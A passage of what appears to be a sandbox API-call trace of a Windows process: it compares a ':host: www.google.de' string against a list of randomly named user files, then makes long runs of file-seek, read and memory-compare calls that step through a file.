_String2="file:///c:/users/aetadzjz/appdata/roaming/ox2%20tpjk0%20kyqwyzz.docx") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/zrockiiwrql0wttbyu.pdf") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/qbatepvwwrmxg.mkv") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/hp0a.pptx") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/videos/tukxy_htj_46yx.mkv") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/xrlop0fhih6h4mumu.bmp") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/gg7cycfjmtiunlpskcq.pdf") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/rbaw.bmp") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/t6hliemu6l0r.ppt") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/pu8nkjiakvioxnl1gn5.docx") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/u8ej.mkv") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/8wgzy1b.png") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/f7xu9f0sbj9qzlfh/5pbmi8.jpg") returned -1 [0069.075] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/c9bf3zxlekmuces.pptx") returned -1 [0069.075] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/w39fbpx.pptx") returned -1 [0069.075] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/c40oh8.xlsx") returned -1 [0069.075] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/k61u%208qbit65csajnmu.pptx") returned -1 [0069.075] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/eyo_jfjnlvh.png") returned -1 [0069.075] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/appdata/roaming/ma9jv-dyfrqq5wz%20rh.png") returned -1 [0069.075] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/twly6%20njwxp7s.ots") returned -1 [0069.075] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/jtfuniuktukb.rtf") returned -1 [0069.075] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/appdata/roaming/bhjp5caf9c99.gif") returned -1 [0069.075] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ylrsy2oezmqpamb5xpsr.mkv") returned -1 [0069.075] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/xlx9xfvuh.jpg") returned -1 [0069.075] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/s_upngnh6botne0evc.gif") returned -1 [0069.075] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/appdata/roaming/bhevv6.mkv") returned -1 [0069.075] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/pp66ey.odp") returned -1 [0069.075] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/1r1kigcrnnjgvfo_x.flv") returned -1 [0069.075] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/appdata/roaming/btyd0hrgdblueuq.rtf") returned -1 [0069.075] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/utqtv2mvpn8rqx.ppt") returned -1 [0069.075] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/nhdk1klix_x.flv") returned -1 [0069.075] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/isgcjtsl.xlsx") returned -1 [0069.075] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/sa--kau.pptx") returned -1 [0069.075] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/gu8x7jtyuieejllb.docx") returned -1 [0069.075] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/gpxpy.doc") returned -1 [0069.075] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/-gcilf6cuob%20faba9y.ots") returned -1 [0069.075] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/kiam-z8ft.png") returned -1 [0069.075] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/f7xu9f0sbj9qzlfh/ypjl%20kqd7ou.gif") returned -1 [0069.075] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/kjo%20dw4y7j6psds.pptx") returned -1 [0069.075] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/0mck7qex.odt") returned -1 [0069.075] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/nzix0sllab7kos.flv") returned -1 [0069.075] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/wf26tyfkwvqf2by4bhd.gif") returned -1 [0069.075] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/fl_cd2j6qblgazwa2sql.odp") returned -1 [0069.075] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.075] SetFilePointer (in: hFile=0xc8, lDistanceToMove=21120, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5280 [0069.075] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.075] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.075] SetFilePointer (in: hFile=0xc8, lDistanceToMove=21248, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5300 [0069.075] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.075] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.075] SetFilePointer (in: hFile=0xc8, lDistanceToMove=21376, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5380 [0069.075] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.075] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.075] SetFilePointer (in: hFile=0xc8, lDistanceToMove=21504, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5400 [0069.075] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.075] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.075] SetFilePointer (in: hFile=0xc8, lDistanceToMove=21632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5480 [0069.075] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.075] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.076] SetFilePointer (in: hFile=0xc8, lDistanceToMove=21760, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5500 [0069.076] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.076] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.076] SetFilePointer (in: hFile=0xc8, lDistanceToMove=21888, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5580 [0069.076] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.076] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.076] SetFilePointer (in: hFile=0xc8, lDistanceToMove=22016, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5600 [0069.076] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.076] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.076] SetFilePointer (in: hFile=0xc8, lDistanceToMove=22144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5680 [0069.076] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.076] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.076] SetFilePointer (in: hFile=0xc8, lDistanceToMove=22272, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5700 [0069.076] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.076] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.076] SetFilePointer (in: hFile=0xc8, lDistanceToMove=22400, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5780 [0069.076] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.076] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.076] SetFilePointer (in: hFile=0xc8, lDistanceToMove=22528, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5800 [0069.076] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.076] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.076] SetFilePointer (in: hFile=0xc8, lDistanceToMove=22656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5880 [0069.076] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.076] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.076] SetFilePointer (in: hFile=0xc8, lDistanceToMove=22784, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5900 [0069.076] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.076] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.076] SetFilePointer (in: hFile=0xc8, lDistanceToMove=22912, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5980 [0069.076] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.076] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.076] SetFilePointer (in: hFile=0xc8, lDistanceToMove=23040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5a00 [0069.076] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.076] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.076] SetFilePointer (in: hFile=0xc8, lDistanceToMove=23168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5a80 [0069.076] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.076] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.076] SetFilePointer (in: hFile=0xc8, lDistanceToMove=23296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b00 [0069.076] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.077] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.077] SetFilePointer (in: hFile=0xc8, lDistanceToMove=23424, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b80 [0069.077] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.077] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.077] SetFilePointer (in: hFile=0xc8, lDistanceToMove=23552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5c00 [0069.077] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.077] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.077] SetFilePointer (in: hFile=0xc8, lDistanceToMove=23680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5c80 [0069.077] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.077] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.077] SetFilePointer (in: hFile=0xc8, lDistanceToMove=23808, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5d00 [0069.077] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.077] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.077] SetFilePointer (in: hFile=0xc8, lDistanceToMove=23936, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5d80 [0069.077] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.077] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.077] SetFilePointer (in: hFile=0xc8, lDistanceToMove=24064, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e00 [0069.077] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.077] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.077] SetFilePointer (in: hFile=0xc8, lDistanceToMove=24192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e80 [0069.077] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.077] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.077] SetFilePointer (in: hFile=0xc8, lDistanceToMove=24320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5f00 [0069.077] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.077] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.077] SetFilePointer (in: hFile=0xc8, lDistanceToMove=24448, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5f80 [0069.077] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.077] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.077] SetFilePointer (in: hFile=0xc8, lDistanceToMove=24576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6000 [0069.077] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.077] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.077] SetFilePointer (in: hFile=0xc8, lDistanceToMove=24704, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6080 [0069.077] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.077] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.077] SetFilePointer (in: hFile=0xc8, lDistanceToMove=24832, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6100 [0069.077] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.077] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.077] SetFilePointer (in: hFile=0xc8, lDistanceToMove=24960, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6180 [0069.077] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.078] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.078] SetFilePointer (in: hFile=0xc8, lDistanceToMove=25088, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6200 [0069.078] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.078] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.078] SetFilePointer (in: hFile=0xc8, lDistanceToMove=25216, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6280 [0069.078] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.078] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.078] SetFilePointer (in: hFile=0xc8, lDistanceToMove=25344, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6300 [0069.078] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.078] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.078] SetFilePointer (in: hFile=0xc8, lDistanceToMove=25472, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6380 [0069.078] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.078] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.078] SetFilePointer (in: hFile=0xc8, lDistanceToMove=25600, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6400 [0069.078] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.078] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.078] SetFilePointer (in: hFile=0xc8, lDistanceToMove=25728, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6480 [0069.078] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.078] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.078] SetFilePointer (in: hFile=0xc8, lDistanceToMove=25856, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6500 [0069.078] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.078] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.078] SetFilePointer (in: hFile=0xc8, lDistanceToMove=25984, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6580 [0069.078] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.078] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 